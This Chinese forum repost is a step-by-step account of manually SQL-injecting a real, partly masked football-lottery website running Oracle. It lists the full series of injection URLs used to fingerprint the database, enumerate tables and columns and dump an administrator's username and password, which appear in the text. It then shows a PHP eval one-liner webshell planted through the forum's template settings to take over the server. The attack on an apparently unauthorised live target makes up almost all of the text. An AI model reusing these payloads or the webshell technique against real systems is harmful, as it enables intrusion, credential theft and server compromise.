设为首页 收藏本站
查看: 691|回复: 0

[经验分享] 手工Oracle注入某足彩在线网站

[复制链接]
YunVN网友  发表于 2016-8-15 07:32:58 |阅读模式
转载自 El3ph4nts
最终编辑 El3ph4nts
  某足彩在线网站是一个大型的足彩站点,在其中存在着注入点,链接如下:http://www.****china.com/jst/md_end.jsp?id=76,以该注入点为例,讲解如何进行Oracle手工注入攻击检测。
  
  判断注入点
  在链接地址后加上单引号,返回信息"java.sql.SQLException: ORA-01756",可初步判断为Oracle的数据库。
  在链接后添加提交"/*",返回错误页面,说明数据库不是MySQL的。继续在注入点链接后添加"--",显示正常页面,说明数据库可能为MSSQLOracle。再提交:
  http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from user_tables)>0--
  http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from dual)>0--
  都返回正常页面(图1),确认为Oracle的数据库。
  http://hiphotos.baidu.com/el3ph4nts/pic/item/d349b907351a14404afb51a7.jpg
1确认Oracle注入
  
  字段数目与字段类型检测
  先检测注入点处查询字段数目,提交:
  http://www.****china.com/jst/md_end.jsp?id=76 order by 10 //返回错误页面
  http://www.****china.com/jst/md_end.jsp?id=76 order by 5 //返回正常页面
  http://www.****china.com/jst/md_end.jsp?id=76 order by 8 //返回错误页面
  http://www.****china.com/jst/md_end.jsp?id=76 order by 7 //返回正常页面
  说明当前表存在7个字段。下面再来检测字段类型,提交:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,4,5,6,7 from dual
  返回错误信息,提示(图2):
  expression must have same datatype
  http://hiphotos.baidu.com/el3ph4nts/pic/item/fb0cf2efc277869cd439c9ac.jpg
图2数据类型错误
  
  很显然,提交的字段类型不正确,所以查询出错。于是改为提交:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual
  返回正常页面,说明字段数目确实为7个,但是需要确定字段类型。依次提交如下:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 'null',null,null,null,null,null,null from dual //返回正常页面
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,'null',null,null,null,null,null from dual //返回错误页面
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,'null',null,null,null,null from dual //返回正常页面
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,'null',null,null,null from dual //返回正常页面
  ……
  上面的查询中,用'null'字符串检测该字段处是否为字符型,如果返回正常页面则说明为字符型数据,返回错误页面,则说明该处为数字型。
  提交检测完毕后,确认1,3,4,6,7位置处为字符型。提交如下:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3','4',5,'6','7' from dual
  返回正常页面(图3),说明字段类型正确。
  http://hiphotos.baidu.com/el3ph4nts/pic/item/d3349272bea90354b151b9ae.jpg
  图3确认数据类型
  
  检测注入点信息
  对注入点进行简单的信息检测,可选择字符型字段处显示要查询的信息,提交如下:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select (select banner from sys.v_$version where rownum=1),2,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual), (select member from v$logfile where rownum=1),5,'6', (select instance_name from v$instance) from dual
  从返回页面中得到各种信息(图4):
  数据库版本为Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi;
  前数据库连接用户名为TOTO;
  操作系统平台为Linux;
  服务器sid为racdb2。
  http://hiphotos.baidu.com/el3ph4nts/pic/item/2a3b8204c955464c728da5b0.jpg
图4返回注入点各种信息
  
  查询获取表名
  先来查询一下当前数据库中的表名,提交:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1),5,'6','7' from dual
  http://hiphotos.baidu.com/el3ph4nts/pic/item/4564dc149922c689a6ef3fbf.jpg
图5
  
  这里选择了字段4处返回信息,得到第1个表名为ACCOUNTS(图5)。
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS'),5,'6','7' from dual
  注意,表名一定要大写。提交后返回第2个表名为A_USER。再提交:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS' and table_name<>'A_USER'),5,'6','7' from dual
  得到第3个表名BOBO_URL_INFO。用同样的方法,可得到其它所有表名,发现其中有一个极为重要的表名USERMG。
  查询获取字段名及内容
  选择对USERMG表进行查询,提交:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and rownum=1),5,'6','7' from dual
  返回USERMG表中第一个字段名USER_NAME,再提交:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and column_name<>'USER_NAME' and rownum=1),5,'6','7' from dual
  http://hiphotos.baidu.com/el3ph4nts/pic/item/941165da90637b5c48540384.jpg
图6返回表中字段名
  
  返回第2个字段名USER_PASS(图6)。这两个字段名很明显是用来存储用户名和密码的,直接查询其内容:
  http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select USERNAME,2,'3',USER_PASS,5,'6','7' from USERMG
  返回页面中,得到了用户名和密码为:admin/toto11admin(图7)。
  http://hiphotos.baidu.com/el3ph4nts/pic/item/b16692e923c5d36863d09f81.jpg
图7获得管理员帐号数据
  
  登陆后台上传WebShell
  没有直接查找到网站的后台,但是利用管理员帐号,可以从前台进行登录。登录进入后,发现可进入体彩论坛,在论坛中在论坛后台管理页面,直接用此帐号进行登陆,进入论坛管理后台。
  在"论坛管理"→"界面风格"→"默认风格"→"详情"中,点击"新增变量",将变量内容设置为:
  ', '#999');eval($_POST[c]);
  http://hiphotos.baidu.com/el3ph4nts/pic/item/d6b0703359739e92a2cc2b8f.jpg
图8添加变量写入一句话木马
  
  替换内容可随便填(图8)。点击"提交"按钮后,一句话木马就被写入模板风格文件中了。用一句话木马连接论坛风格页面文件:
  http://bbs.****china.com/forumdata/cache/style_1.php
  http://hiphotos.baidu.com/el3ph4nts/pic/item/e18dac0f05af955094ca6b8b.jpg
图9连接一句话木马
  
  密码为c,粘贴入要上传的WebShell代码内容,即可连接一句话木马获得WebShell(图9)。WebShell的权限比较大,可轻易的控制远程网站服务器。
  
  
  整理个文章不容易
  转走留出处


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-257996-1-1.html 上篇帖子: SQL性能优化调整的几点基础事项_oracle 下篇帖子: Oracle(day2)数据库条件查找部分语句
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表